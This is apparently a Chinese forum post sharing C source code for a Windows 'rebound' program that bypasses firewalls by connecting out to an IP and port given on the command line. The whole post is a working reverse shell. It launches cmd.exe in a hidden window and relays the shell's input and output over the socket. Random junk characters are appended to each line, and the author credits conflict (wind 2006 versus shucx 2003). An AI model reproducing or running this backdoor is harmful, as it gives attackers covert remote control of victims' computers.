这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 Jf)bHjC_V
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/* ============================== F;ZSzWq
Rebound port in Windows NT ,d+fDmm3
By wind,2006/7 WO4=Mte?
===============================*/ %
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#include GDhE[of
#include ZoB*0H-
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#pragma comment(lib,"wsock32.lib") mffn//QS
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void OutputShell(); u?Tpi[
#
SOCKET sClient; @RFs/'
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; \I-#1M
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void main(int argc,char **argv) ne61}F"E
{ -!;l~#K=
WSADATA stWsaData; G&xo1K]
int nRet; hv 6@Jr3
SOCKADDR_IN stSaiClient,stSaiServer; _Y=2/*y^
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if(argc != 3) 4H5pr
{ jN-vY<?h]
printf("Useage:\n\rRebound DestIP DestPort\n"); P7ph}mB
return; etT +
} H.<a`mm8
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WSAStartup(MAKEWORD(2,2),&stWsaData); [3l*F
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); FlfI9mm
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stSaiClient.sin_family = AF_INET; cfox7FmW
stSaiClient.sin_port = htons(0); ]eQV,Vt
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); {8,<ZZ_
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) YCe7<3> J4
{ @~<j&FTT
printf("Bind Socket Failed!\n"); &
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return; ""Zp:8o
} ^JZ^>E~
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stSaiServer.sin_family = AF_INET; 9YsR~SM
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Qu=LnGo~P
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); nVu&/
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Q$obOEr2(
{ )%SkJ
printf("Connect Error!"); x:vu'A
return; /(.6bv
} ;!91^Tl
OutputShell(); k4qp u=@U
} GU't%[
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void OutputShell() 9jN)I(^D6
{ R(P%Csbqh
char szBuff[1024]; xvzr:pP
SECURITY_ATTRIBUTES stSecurityAttributes; -yGDh+-
OSVERSIONINFO stOsversionInfo; ,*4p?|A
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ZT02"3F
STARTUPINFO stStartupInfo; 1:NrP'W^
char *szShell; "G-1>:
PROCESS_INFORMATION stProcessInformation; aK,z}l(N
unsigned long lBytesRead; gH2,\z`[4
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); YY?a>j."a
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ze_{=Cv&Y
stSecurityAttributes.lpSecurityDescriptor = 0; Wv__ wZ
stSecurityAttributes.bInheritHandle = TRUE; `28};B>
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); B!gGK|8
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); $F.([?)k?
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); -",=G\XZ
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; y%sroI('y
stStartupInfo.wShowWindow = SW_HIDE; {k4CEt;
stStartupInfo.hStdInput = hReadPipe; UA[,2MBp
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Cv$
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wU#F_De)R:
GetVersionEx(&stOsversionInfo); f<+4rHT
bX.ja;;
switch(stOsversionInfo.dwPlatformId) @i^~0A#q*
{ $Vc~/>
case 1: ut>4U'.H
szShell = "command.com"; v7%X@j]ji
break; t9&cE:n
default: `cx]e
szShell = "cmd.exe"; $?,a[79
break; Z5c~^jL$-
} /h v4x9
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); >7!6nF3x,
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send(sClient,szMsg,77,0); %Pksv}
while(1) l5+gsEux]
{ 0y<wvLv2C
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); =%zLh<3v
if(lBytesRead) pV6d
Id
{ yq+!czlZ
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); Z/^ u
send(sClient,szBuff,lBytesRead,0); &a/__c/l
} 1!pa;$L
else r>jC_7
{ }HE6aF62O
lBytesRead=recv(sClient,szBuff,1024,0); sC[yI Up
if(lBytesRead<=0) break; JFgoN,xn
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); .(J?a"
} iHf-{[[Z
} {pb>$G:gfx
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return; :V2bS
}